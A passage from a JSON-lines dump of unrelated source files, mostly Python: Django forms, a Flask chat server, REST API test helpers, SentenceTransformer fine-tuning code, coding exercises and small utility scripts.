status -'),\n\t (1, 'Alarmante'),\n\t (2, 'Normal'),\n\t (3, 'Atenção'),\n\t )\n\tstatus = forms.ChoiceField(widget = forms.Select(), \n\t \t\t\t\t\t\t\t\tchoices = (options), \n\t \t\t\t\t\t\t\t\trequired = False\n\t \t\t\t\t\t\t\t)\n\n\n\nclass EmpresasForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel = Empresa\n\t\tfields = '__all__'\n\n\tnome_da_empresa \t= forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'Nome da empresa', 'id': 'right-label'}), required=False)\n\tnome_do_contato \t= forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'Nome do Contato da empresa', 'id': 'right-label'}), required=False)\n\temail_do_contato \t= forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'E-mail de Contato da empresa', 'id': 'right-label'}), required=False)\n\tendereco\t \t\t= forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'Endereço da Empresa', 'id': 'right-label'}), required=False)\n\tativo \t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'ativo', 'name': 'ativo', 'type': 'checkbox', 'checked': 'checked', 'value': 1}), required=False)\n\t","sub_path":"ROOT/bk/rmais/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330875621","text":"#!/usr/bin/env python3\n# coding: utf-8\nimport unittest\n\n\nclass Solution:\n @staticmethod\n def reverse_words(A):\n def rev(X, s, e):\n while s < e:\n X[s], X[e] = X[e], X[s]\n s += 1\n e -= 1\n\n num_words = A.count(\" \") + 1\n start = 0\n try:\n end = A.index(\" \") - 1\n except ValueError:\n end = len(A) - 1\n\n while num_words > 0:\n rev(A, start, end)\n start = end + 2\n try:\n end = A.index(\" \", start) - 1\n except ValueError:\n end = len(A) - 1\n\n num_words -= 1\n\n i, j = 0, len(A)-1\n while i < j:\n A[i], A[j] = A[j], A[i]\n i += 1\n j -= 1\n\n return A\n\n\nclass TestSolution(unittest.TestCase):\n def setUp(self):\n self.test_cases = [\n (\n ['c', 'a', 'k', 'e', ' ', 'p', 'o', 'u', 'n', 'd', ' ', 's', 't', 'e', 'a', 'l'],\n ['s', 't', 'e', 'a', 'l', ' ', 'p', 'o', 'u', 'n', 'd', ' ', 'c', 'a', 'k', 'e']\n ),\n (['hello'], ['hello'])\n ]\n\n def test_reverse_words(self):\n for i, e in self.test_cases:\n self.assertEqual(Solution.reverse_words(i), e)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"Arrays_and_Strings/reverse_words.py","file_name":"reverse_words.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"39618807","text":"#!/bin/python3\n\nimport sys\n\n\ng = int(input().strip())\nfor a0 in range(g):\n n,m,x = input().strip().split(' ')\n n,m,x = [int(n),int(m),int(x)]\n a = list(map(int, input().strip().split(' ')))\n b = list(map(int, input().strip().split(' ')))\n \n sum,count=0,0\n while len(a) > 0 and len(b) >0: \n sum =sum + (a.pop(0) if(a[0] x :\n break\n count = count +1\n print(count)","sub_path":"notes/HackerRanks/GameOfTwoStacks_Version2.py","file_name":"GameOfTwoStacks_Version2.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"172272188","text":"import logging\nimport requests\nimport copy\nfrom . import config\n\nlogger = logging.getLogger(\"moonclient.models\")\n\n\nURL = None\nHEADERS = None\n\nmodel_template = {\n \"name\": \"test_model\",\n \"description\": \"test\",\n \"meta_rules\": []\n}\n\ncategory_template = {\n \"name\": \"name of the category\",\n \"description\": \"description of the category\"\n}\n\nmeta_rule_template = {\n \"name\": \"test_meta_rule\",\n \"subject_categories\": [],\n \"object_categories\": [],\n \"action_categories\": []\n}\n\n\ndef init(consul_host, consul_port):\n conf_data = config.get_config_data(consul_host, consul_port)\n global URL, HEADERS\n URL = \"http://{}:{}\".format(\n conf_data['manager_host'],\n conf_data['manager_port'])\n URL = URL + \"{}\"\n HEADERS = {\"content-type\": \"application/json\"}\n\n\ndef check_model(model_id=None, check_model_name=True):\n req = requests.get(URL.format(\"/models\"))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"models\" in result\n if model_id:\n assert result[\"models\"]\n assert model_id in result['models']\n assert \"name\" in result['models'][model_id]\n if check_model_name:\n assert model_template[\"name\"] == result['models'][model_id][\"name\"]\n return result\n\n\ndef add_model(name=None):\n if name:\n model_template['name'] = name\n req = requests.post(URL.format(\"/models\"), json=model_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n model_id = list(result['models'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['models'][model_id]\n assert model_template[\"name\"] == result['models'][model_id][\"name\"]\n return model_id\n\n\ndef delete_model(model_id):\n req = requests.delete(URL.format(\"/models/{}\".format(model_id)))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"result\" in result\n assert result[\"result\"]\n\n\ndef add_subject_category(name=\"subject_cat_1\"):\n category_template[\"name\"] = name\n req = requests.post(URL.format(\"/subject_categories\"), json=category_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"subject_categories\" in result\n category_id = list(result['subject_categories'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['subject_categories'][category_id]\n assert category_template[\"name\"] == result['subject_categories'][category_id][\"name\"]\n return category_id\n\n\ndef check_subject_category(category_id):\n req = requests.get(URL.format(\"/subject_categories\"))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"subject_categories\" in result\n if \"result\" in result:\n assert result[\"result\"]\n assert category_id in result['subject_categories']\n assert \"name\" in result['subject_categories'][category_id]\n assert category_template[\"name\"] == result['subject_categories'][category_id][\"name\"]\n\n\ndef delete_subject_category(category_id):\n req = requests.delete(URL.format(\"/subject_categories/{}\".format(category_id)))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n if \"result\" in result:\n assert result[\"result\"]\n\n\ndef add_object_category(name=\"object_cat_1\"):\n category_template[\"name\"] = name\n req = requests.post(URL.format(\"/object_categories\"), json=category_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"object_categories\" in result\n category_id = list(result['object_categories'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['object_categories'][category_id]\n assert category_template[\"name\"] == result['object_categories'][category_id][\"name\"]\n return category_id\n\n\ndef check_object_category(category_id):\n req = requests.get(URL.format(\"/object_categories\"))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"object_categories\" in result\n if \"result\" in result:\n assert result[\"result\"]\n assert category_id in result['object_categories']\n assert \"name\" in result['object_categories'][category_id]\n assert category_template[\"name\"] == result['object_categories'][category_id][\"name\"]\n\n\ndef delete_object_category(category_id):\n req = requests.delete(URL.format(\"/object_categories/{}\".format(category_id)))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n if \"result\" in result:\n assert result[\"result\"]\n\n\ndef add_action_category(name=\"action_cat_1\"):\n category_template[\"name\"] = name\n req = requests.post(URL.format(\"/action_categories\"), json=category_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"action_categories\" in result\n category_id = list(result['action_categories'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['action_categories'][category_id]\n assert category_template[\"name\"] == result['action_categories'][category_id][\"name\"]\n return category_id\n\n\ndef check_action_category(category_id):\n req = requests.get(URL.format(\"/action_categories\"))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"action_categories\" in result\n if \"result\" in result:\n assert result[\"result\"]\n assert category_id in result['action_categories']\n assert \"name\" in result['action_categories'][category_id]\n assert category_template[\"name\"] == result['action_categories'][category_id][\"name\"]\n\n\ndef delete_action_category(category_id):\n req = requests.delete(URL.format(\"/action_categories/{}\".format(category_id)))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n if \"result\" in result:\n assert result[\"result\"]\n\n\ndef add_categories_and_meta_rule(name=\"test_meta_rule\"):\n scat_id = add_subject_category()\n ocat_id = add_object_category()\n acat_id = add_action_category()\n _meta_rule_template = copy.deepcopy(meta_rule_template)\n _meta_rule_template[\"name\"] = name\n _meta_rule_template[\"subject_categories\"].append(scat_id)\n _meta_rule_template[\"object_categories\"].append(ocat_id)\n _meta_rule_template[\"action_categories\"].append(acat_id)\n req = requests.post(URL.format(\"/meta_rules\"), json=_meta_rule_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"meta_rules\" in result\n meta_rule_id = list(result['meta_rules'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['meta_rules'][meta_rule_id]\n assert _meta_rule_template[\"name\"] == result['meta_rules'][meta_rule_id][\"name\"]\n return meta_rule_id, scat_id, ocat_id, acat_id\n\n\ndef add_meta_rule(name=\"test_meta_rule\", scat=[], ocat=[], acat=[]):\n _meta_rule_template = copy.deepcopy(meta_rule_template)\n _meta_rule_template[\"name\"] = name\n _meta_rule_template[\"subject_categories\"] = []\n _meta_rule_template[\"subject_categories\"].extend(scat)\n _meta_rule_template[\"object_categories\"] = []\n _meta_rule_template[\"object_categories\"].extend(ocat)\n _meta_rule_template[\"action_categories\"] = []\n _meta_rule_template[\"action_categories\"].extend(acat)\n req = requests.post(URL.format(\"/meta_rules\"), json=_meta_rule_template, headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"meta_rules\" in result\n meta_rule_id = list(result['meta_rules'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"name\" in result['meta_rules'][meta_rule_id]\n assert _meta_rule_template[\"name\"] == result['meta_rules'][meta_rule_id][\"name\"]\n return meta_rule_id\n\n\ndef check_meta_rule(meta_rule_id, scat_id=None, ocat_id=None, acat_id=None):\n req = requests.get(URL.format(\"/meta_rules\"))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n assert \"meta_rules\" in result\n if \"result\" in result:\n assert result[\"result\"]\n if not meta_rule_id:\n return result\n assert meta_rule_id in result['meta_rules']\n assert \"name\" in result['meta_rules'][meta_rule_id]\n if scat_id:\n assert scat_id in result['meta_rules'][meta_rule_id][\"subject_categories\"]\n if ocat_id:\n assert ocat_id in result['meta_rules'][meta_rule_id][\"object_categories\"]\n if acat_id:\n assert acat_id in result['meta_rules'][meta_rule_id][\"action_categories\"]\n\n\ndef delete_meta_rule(meta_rule_id):\n req = requests.delete(URL.format(\"/meta_rules/{}\".format(meta_rule_id)))\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n if \"result\" in result:\n assert result[\"result\"]\n\n\ndef add_meta_rule_to_model(model_id, meta_rule_id):\n model = check_model(model_id, check_model_name=False)['models']\n meta_rule_list = model[model_id][\"meta_rules\"]\n if meta_rule_id not in meta_rule_list:\n meta_rule_list.append(meta_rule_id)\n req = requests.patch(URL.format(\"/models/{}\".format(model_id)),\n json={\"meta_rules\": meta_rule_list},\n headers=HEADERS)\n assert req.status_code == 200\n result = req.json()\n assert type(result) is dict\n model_id = list(result['models'].keys())[0]\n if \"result\" in result:\n assert result[\"result\"]\n assert \"meta_rules\" in result['models'][model_id]\n assert meta_rule_list == result['models'][model_id][\"meta_rules\"]\n\n\ndef create_model(scenario, model_id=None):\n logger.info(\"Creating model {}\".format(scenario.model_name))\n if not model_id:\n logger.info(\"Add model\")\n model_id = add_model(name=scenario.model_name)\n logger.info(\"Add subject categories\")\n for cat in scenario.subject_categories:\n scenario.subject_categories[cat] = add_subject_category(name=cat)\n logger.info(\"Add object categories\")\n for cat in scenario.object_categories:\n scenario.object_categories[cat] = add_object_category(name=cat)\n logger.info(\"Add action categories\")\n for cat in scenario.action_categories:\n scenario.action_categories[cat] = add_action_category(name=cat)\n sub_cat = []\n ob_cat = []\n act_cat = []\n meta_rule_list = []\n for item_name, item_value in scenario.meta_rule.items():\n for item in item_value[\"value\"]:\n if item in scenario.subject_categories:\n sub_cat.append(scenario.subject_categories[item])\n elif item in scenario.object_categories:\n ob_cat.append(scenario.object_categories[item])\n elif item in scenario.action_categories:\n act_cat.append(scenario.action_categories[item])\n meta_rules = check_meta_rule(meta_rule_id=None)\n for _meta_rule_id, _meta_rule_value in meta_rules['meta_rules'].items():\n if _meta_rule_value['name'] == item_name:\n meta_rule_id = _meta_rule_id\n break\n else:\n logger.info(\"Add meta rule\")\n meta_rule_id = add_meta_rule(item_name, sub_cat, ob_cat, act_cat)\n item_value[\"id\"] = meta_rule_id\n if meta_rule_id not in meta_rule_list:\n meta_rule_list.append(meta_rule_id)\n return model_id, meta_rule_list\n","sub_path":"python_moonclient/python_moonclient/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"298099148","text":"import os\ndef ChangeName( Dir ):\n\tDir = str( Dir )\n\tfor filename in os.listdir( Dir ):\n\t\tif filename.startswith(\"Curve\"):\n\t\t\tnombre = list( filename )\n\t\t\tnombre[0] = \"c\"\n\t\t\tnombre = \"\".join(nombre)\n\t\t\tos.rename(filename, nombre)\n \nif __name__ == \"__main__\":\n\tnumero = str(5.0)\n\t\n\tnumero_float = float(numero)\n\tnumero_int = int(numero_float)\n\tprint( numero_float - numero_int )\n\tChangeName( \".\" )\n\t\n\n\n\t\n\t\n","sub_path":"CoopeSantos/dss/curvas/residential/change_name.py","file_name":"change_name.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"420627501","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nChat Server\n===========\n\nThis simple application uses WebSockets to run a primitive chat server.\n\"\"\"\nimport os\nimport redis\nimport gevent\nfrom flask import Flask, render_template\nfrom flask_sockets import Sockets\n\nfrom controller import Controller\n\nREDIS_URL = os.environ['REDIS_URL']\n\napp = Flask(__name__)\n\nif 'DEBUG' in os.environ:\n app.debug = True\n from gevent import monkey\n monkey.patch_all(thread=False)\n\nsockets = Sockets(app)\nredis_pool = redis.from_url(url=REDIS_URL, db=0)\ncontroller = Controller(redis_pool, app)\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/view')\ndef view():\n return render_template('view.html')\n\n\n@app.route('/random')\ndef random():\n return render_template('random.html')\n\n\n@sockets.route('/service')\ndef inbox(ws):\n app.logger.info(u'Receive from {}...'.format(ws))\n \"\"\"Receives incoming chat messages\"\"\"\n while not ws.closed:\n # Sleep to prevent *constant* context-switches.\n gevent.sleep(0.1)\n message = ws.receive()\n\n app.logger.info(u'Processing message: {} from: {}'.format(message, ws))\n if message:\n controller.execute_message(ws, message)\n","sub_path":"mega_chess.py","file_name":"mega_chess.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"559446646","text":"# Módulo fun_mat com diversas funções matemáticas\n\nfrom math import sqrt\n\ndef fatorial(numero):\n\n if numero < 0:\n return None\n\n contador = 1\n fat = 1\n\n while contador <= numero:\n fat = fat * contador\n contador = contador + 1\n\n return fat\n\ndef calcular_combinacoes(n, k):\n\n fat_n = fatorial(n)\n fat_k = fatorial(k)\n fat_n_menos_k = fatorial(n-k)\n\n combinacoes = fat_n // (fat_k * fat_n_menos_k)\n\n return combinacoes\n\n\n\ndef soma(numero):\n contador = 1\n soma = 0\n\n while contador <= numero:\n soma = soma + contador\n contador = contador + 1\n\n return soma\n\ndef delta(a, b, c):\n return (b**2)-(4*a*c)\n\ndef eq2grau(a, b, c):\n d = delta(a,b, c)\n\n if d < 0:\n return None\n elif d == 0:\n return -b / (2*a)\n else:\n r1 = (-b + sqrt(d)) / (2*a)\n r2 = (-b - sqrt(d)) / (2*a)\n return r1, r2\n","sub_path":"04.funcoes/fun_mat.py","file_name":"fun_mat.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"108584859","text":"from getIDs import *\nfrom getItems import *\nimport cPickle as pickle\n\nwith open('/cshome/kzhou3/Data/hash/setid_items_c.p','rb') as fp:\n\tsetid_items = pickle.load(fp)\nwith open('/cshome/kzhou3/Data/hash/item_setids_c.p','rb') as fp:\n\titem_setids = pickle.load(fp)\n\nl = open('/cshome/kzhou3/Data/table/item_freq_sorted','r')\noutput = open('/cshome/kzhou3/Data/query_set/remove_size_query_set','w')\n\ndef build_set(item):\n '''\n give a seed item, find other items to construct a query set\n all relevant items A, pick top ranked, (middle ranked), lower ranked items in it.\n '''\n setid_result = getIDs(item_setids, [item])\n item_result = getItems(setid_items, setid_result,'others')\n if item in item_result:\n item_result.remove(item)\n if len(item_result) > 2:\n #output.write(item + '__' + str(len(item_setids[item.lower()])) + '\\t' + item_result[0] + '__' + str(len(item_setids[item_result[0].lower()])) + '\\t' + item_result[1] + '__' + str(len(item_setids[item_result[1].lower()])) + '\\n')\n #output.write(item + '__' + str(len(item_setids[item.lower()])) + '\\t' + item_result[-1] + '__' + str(len(item_setids[item_result[-1].lower()])) + '\\t' + item_result[-2] + '__' + str(len(item_setids[item_result[-2].lower()])) + '\\n')\n output.write(item + '\\t' + item_result[0] + '\\t' + item_result[1] + '\\n')\n output.write(item + '\\t' + item_result[-1] + '\\t' + item_result[-2] + '\\n')\n\ni = 1\n# when i is smaller than 1000, build sets for each posting list size\nwhile i < 1000:\n line = l.readline().strip().split(',')\n freq = int(line[1])\n if freq < i:\n continue\n # if i is larger and equal with freq, build set, adjust new i\n else:\n i = freq\n item = line[0]\n build_set(item)\n i += 1\n\n# when i is larger than 1000, build sets for every 100 posting list size\nwhile i < 10000:\n line = l.readline().strip().split(',')\n freq = int(line[1])\n if freq < i:\n continue\n else:\n i = freq\n item = line[0]\n build_set(item)\n i += 100\n\nl.close()\noutput.close()\n","sub_path":"createQuery/createQuery.py","file_name":"createQuery.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"332092441","text":"import torch\nimport torch.nn as nn\nimport transformers\nimport os\nimport logging\nimport json\n\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm, trange\nfrom collections import OrderedDict\n\nfrom typing import List, Dict, Tuple, Iterable, Type\nfrom torch.optim import Optimizer\nfrom sentence_transformers import SentencesDataset, LoggingHandler, SentenceTransformer\nfrom sentence_transformers.evaluation import SentenceEvaluator\nfrom sentence_transformers.util import import_from_string, batch_to_device, http_get\n\n## import tensorboard.\ntry:\n from torch.utils.tensorboard import SummaryWriter\nexcept ImportError:\n from tensorboardX import SummaryWriter\n \n## inherit SentenceTransformer here\nclass SentenceTransformer_tb(SentenceTransformer):\n def __init__(self, model_name_or_path: str = None, modules: Iterable[nn.Module] = None, \n saved_scibert_model_path: str = None,\n device: str = None):\n if saved_scibert_model_path == None:\n super().__init__(model_name_or_path, modules, device)\n else:\n logging.info(\"Load SentenceTransformer from folder: {}\".format(saved_scibert_model_path))\n if os.path.exists(os.path.join(saved_scibert_model_path, 'config.json')):\n with open(os.path.join(saved_scibert_model_path, 'config.json')) as fIn:\n config = json.load(fIn)\n\n with open(os.path.join(saved_scibert_model_path, 'modules.json')) as fIn:\n contained_modules = json.load(fIn)\n\n modules = OrderedDict()\n for module_config in contained_modules:\n if '__main__' in module_config['type']:\n module_config_real_type = \"sentence_transformers.models.BERT\"\n module_class = import_from_string(module_config_real_type)\n else:\n module_class = import_from_string(module_config['type'])\n loading_path = os.path.join(saved_scibert_model_path, module_config['path'])\n module = module_class.load(os.path.join(saved_scibert_model_path, module_config['path']))\n modules[module_config['name']] = module\n\n super(SentenceTransformer, self).__init__(modules)\n if device is None:\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n logging.info(\"Use pytorch device: {}\".format(device))\n self.device = torch.device(device)\n self.to(device)\n\n self.desc_string = 'tb_'\n\n def fit(self,\n train_objectives: Iterable[Tuple[DataLoader, nn.Module]],\n evaluator: SentenceEvaluator,\n epochs: int = 1,\n eval_dataloader = None,\n steps_per_epoch = None,\n scheduler: str = 'WarmupLinear',\n warmup_steps: int = 10000,\n optimizer_class: Type[Optimizer] = transformers.AdamW,\n optimizer_params : Dict[str, object ]= {'lr': 2e-5, 'eps': 1e-6, 'correct_bias': False},\n weight_decay: float = 0.01,\n evaluation_steps: int = 0,\n output_path: str = None,\n save_best_model: bool = True,\n max_grad_norm: float = 1,\n fp16: bool = False,\n fp16_opt_level: str = 'O1',\n local_rank: int = -1\n ):\n \n self.lr = optimizer_params['lr']\n self.desc_string = f'lr-{self.lr}_epochs-{epochs}_warmup_steps-{warmup_steps}'\n print(f\"model description is {self.desc_string}.\")\n\n if output_path is not None:\n # empty folder is not necessary.\n os.makedirs(output_path, exist_ok=True)\n path_prefix = output_path.split('/')[0]\n tb_writer = SummaryWriter(log_dir=os.path.join(path_prefix, self.desc_string))\n tb_writer.add_text('experiment args', self.desc_string, 0)\n \n dataloaders = [dataloader for dataloader, _ in train_objectives]\n\n # Use smart batching\n for dataloader in dataloaders:\n dataloader.collate_fn = self.smart_batching_collate\n\n ## GX: this design is for the composite loss.\n loss_models = [loss for _, loss in train_objectives]\n device = self.device\n\n for loss_model in loss_models:\n loss_model.to(device)\n\n self.best_score = -9999999\n\n if steps_per_epoch is None or steps_per_epoch == 0:\n steps_per_epoch = min([len(dataloader) for dataloader in dataloaders])\n\n num_train_steps = int(steps_per_epoch * epochs)\n\n # Prepare optimizers w.r.t each model.\n optimizers = []\n schedulers = []\n for loss_model in loss_models:\n param_optimizer = list(loss_model.named_parameters())\n\n no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\n optimizer_grouped_parameters = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': weight_decay},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n t_total = num_train_steps\n if local_rank != -1:\n t_total = t_total // torch.distributed.get_world_size()\n\n optimizer = optimizer_class(optimizer_grouped_parameters, **optimizer_params)\n scheduler_obj = self._get_scheduler(optimizer, scheduler=scheduler, warmup_steps=warmup_steps, t_total=t_total)\n\n optimizers.append(optimizer)\n schedulers.append(scheduler_obj)\n \n # Decides the data-type here.\n if fp16:\n try:\n from apex import amp\n except ImportError:\n raise ImportError(\"Please install apex from https://www.github.com/nvidia/apex to use fp16 training.\")\n\n for train_idx in range(len(loss_models)):\n model, optimizer = amp.initialize(loss_models[train_idx], optimizers[train_idx], opt_level=fp16_opt_level)\n loss_models[train_idx] = model\n optimizers[train_idx] = optimizer\n\n global_step = 0\n ## GX: only use iter, instead of for loop on the dataloader.\n data_iterators = [iter(dataloader) for dataloader in dataloaders]\n num_train_objectives = len(train_objectives)\n\n for epoch in trange(epochs, desc=\"Epoch\"):\n training_steps = 0\n\n for loss_model in loss_models:\n loss_model.zero_grad()\n loss_model.train()\n\n for _ in trange(steps_per_epoch, desc=\"Iteration\", smoothing=0.05):\n for train_idx in range(num_train_objectives):\n loss_model = loss_models[train_idx]\n optimizer = optimizers[train_idx]\n scheduler = schedulers[train_idx]\n data_iterator = data_iterators[train_idx] \n\n try:\n data = next(data_iterator)\n except StopIteration:\n data_iterator = iter(dataloaders[train_idx])\n data_iterators[train_idx] = data_iterator\n data = next(data_iterator)\n\n features, labels = batch_to_device(data, self.device)\n loss_value = loss_model(features, labels)\n tb_writer.add_scalar(\"progress/lr\", scheduler.get_lr()[0], global_step)\n tb_writer.add_scalar(\"progress/steps_per_epoch\", steps_per_epoch, global_step)\n tb_writer.add_scalar(\"progress/num_train_steps\", num_train_steps, global_step)\n tb_writer.add_scalar(\"train/loss_value\", loss_value, global_step)\n\n if fp16:\n with amp.scale_loss(loss_value, optimizer) as scaled_loss:\n scaled_loss.backward()\n torch.nn.utils.clip_grad_norm_(amp.master_params(optimizer), max_grad_norm)\n else:\n loss_value.backward()\n torch.nn.utils.clip_grad_norm_(loss_model.parameters(), max_grad_norm)\n\n optimizer.step()\n scheduler.step()\n optimizer.zero_grad()\n\n training_steps += 1\n global_step += 1\n\n if evaluation_steps > 0 and training_steps % evaluation_steps == 0:\n self._eval_during_training_custom(evaluator, output_path, tb_writer, save_best_model, epoch, \n training_steps, global_step)\n for loss_model in loss_models:\n loss_model.zero_grad()\n loss_model.train()\n\n self._eval_during_training_custom(evaluator, output_path, tb_writer, save_best_model, epoch, -1, global_step)\n\n def _eval_during_training_custom(self, evaluator, output_path, tb_writer, save_best_model, epoch, steps, global_step):\n \"\"\"Runs evaluation during the training\"\"\"\n if evaluator is not None:\n score = evaluator(self, output_path=output_path, epoch=epoch, steps=steps)\n tb_writer.add_scalar(\"eval/score\", score, global_step)\n if score > self.best_score and save_best_model:\n self.save(output_path)\n self.best_score = score\n","sub_path":"fine_tune/sen_level/model_loading/SentenceTransformer_custom_expt.py","file_name":"SentenceTransformer_custom_expt.py","file_ext":"py","file_size_in_byte":9399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"115938655","text":"from grading_utils import PerformanceTest, TestConfiguration, RepeaterTest\nimport sys\nfrom validacao_pfe import TestePFEHeuristicoParalelo, TestePFERepeticaoParalela\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print('Uso: ./validacao-exaustivo executavel')\n sys.exit(-1)\n\n tests = TestConfiguration.from_pattern('entradas', 'in_exaustivo', check_stderr=False)\n tests['entradas/in_exaustivo_9_3_3'].time_limit = 0.5\n tests['entradas/in_exaustivo_12_4_3'].time_limit = 1.5\n tests['entradas/in_exaustivo_12_4_4'].time_limit = 1.5\n\n teste_grande = TestConfiguration.from_file('entradas/in_bb_15_5_5',\n 'entradas/out_bb_15_5_5',\n check_stderr=False,\n time_limit=60)\n tests['entradas/in_bb_15_5_5'] = teste_grande\n\n t = TestePFEHeuristicoParalelo(sys.argv[1], tests)\n t.main()\n\n teste_repetido = TestConfiguration.from_file('entradas/in_exaustivo_12_4_4', 'entradas/out_exaustivo_12_4_4', check_stderr=False)\n r = TestePFERepeticaoParalela(sys.argv[1], {'Execucao %d'%i :teste_repetido for i in range(10)})\n r.main()\n","sub_path":"projeto-validacao/validacao-paralelo-exaustivo.py","file_name":"validacao-paralelo-exaustivo.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"497710323","text":"# coding=utf-8\nfrom __future__ import unicode_literals\n\n__author__ = 'GoTop'\n\nimport pafy\n\nurl = \"https://www.youtube.com/watch?v=bMt47wvK6u0\"\n\nvideo = pafy.new(url)\n\nprint(video.title)\n\n\nplurl = \"https://www.youtube.com/playlist?list=PLNWIWf8IRkr9k-2nkMxb08Q2p2Wmbx1Hs\"\nplaylist = pafy.get_playlist(plurl)\n#print(playlist['title'])","sub_path":"video/test/pafy_test.py","file_name":"pafy_test.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"640603739","text":"import sqlite3\r\nimport os\r\nimport sys\r\n\r\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\r\nconn = sqlite3.connect(\"API.db\")\r\ncursor = conn.cursor()\r\ncursor.execute(\r\n \"CREATE TABLE IF NOT EXISTS emwiu(id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, url TEXT, email TEXT, ip TEXT, starttime TEXT)\"\r\n)\r\nconn.commit()\r\ncursor.execute(\"\"\"SELECT * FROM emwiu\"\"\")\r\nrows = cursor.fetchall()\r\nconn.close()\r\n\r\nconn = sqlite3.connect(\"API.db\")\r\ncursor = conn.cursor()\r\nfor row in rows:\r\n cursor.execute(\"DELETE FROM emwiu WHERE id =?\", (row[0], ))\r\n conn.commit()\r\nconn.close()\r\n","sub_path":"clear_isitdown_database.py","file_name":"clear_isitdown_database.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"576717963","text":"from django.contrib.gis.forms import ModelForm, PointField, OSMWidget\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom .models import Home, Voda, WorkingHours\nfrom django.utils.translation import gettext as _\nfrom datetimewidget.widgets import TimeWidget, DateTimeWidget\n\n\n# MONKEY PATCH FOR HEROKU\nOSMWidget.Media.js = (\n\t'https://cdnjs.cloudflare.com/ajax/libs/openlayers/2.13.1/OpenLayers.js',\n\t'js/OpenStreetMap.js',\n\t'gis/js/OLMapWidget.js',\n\t)\n\nOSMWidget.default_lon = 36.23\nOSMWidget.default_lat = 49.58\n\n\nclass HomeForm(ModelForm):\n\n\tpoint = PointField(widget=OSMWidget())\n\n\tclass Meta:\n\t\tmodel = Home\n\t\tfields = ['point']\n\n# extra\nclass VodaForm(ModelForm):\n\n\tVODAS = [\n\t\t(0, _(\"\")),\n\t\t(1, _(\"Automat\")),\n\t\t(2, _(\"Tank Car\")),\n\t\t(3, _(\"Water spring\"))\n\t]\n\n\tpoint = PointField(widget=OSMWidget())\n\tvodas = forms.ChoiceField(widget=forms.Select(), choices=VODAS, label='Choose type', required=False)\n\n\tclass Meta:\n\t\tmodel = Voda\n\t\tfields = [\n\t\t'point', 